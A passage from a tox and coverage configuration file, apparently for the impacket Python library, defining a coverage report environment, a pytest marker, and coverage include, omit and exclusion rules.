[testenv:report] 32 | basepython = python3.8 33 | deps = coverage 34 | skip_install = true 35 | commands = 36 | coverage report 37 | coverage html 38 | 39 | [testenv:py311] 40 | ignore_errors = true 41 | 42 | [pytest] 43 | markers = 44 | remote: marks tests as remote 45 | 46 | [coverage:run] 47 | branch = True 48 | source = impacket 49 | omit = *remcom* 50 | *.tox* 51 | 52 | [coverage:report] 53 | # Regexes for lines to exclude from consideration 54 | exclude_lines = 55 | # Have to re-enable the standard pragma 56 | pragma: no cover 57 | 58 | # Don't complain about missing debug-only code: 59 | if self\.debug 60 | 61 | # Don't complain if tests don't hit defensive assertion code: 62 | raise AssertionError 63 | raise NotImplementedError 64 | 65 | # Don't complain if non-runnable code isn't run: 66 | if 0: 67 | if __name__ == .__main__.: 68 | 69 | ignore_errors = True 70 | 71 | [coverage:html] 72 | show_contexts = True 73 | --------------------------------------------------------------------------------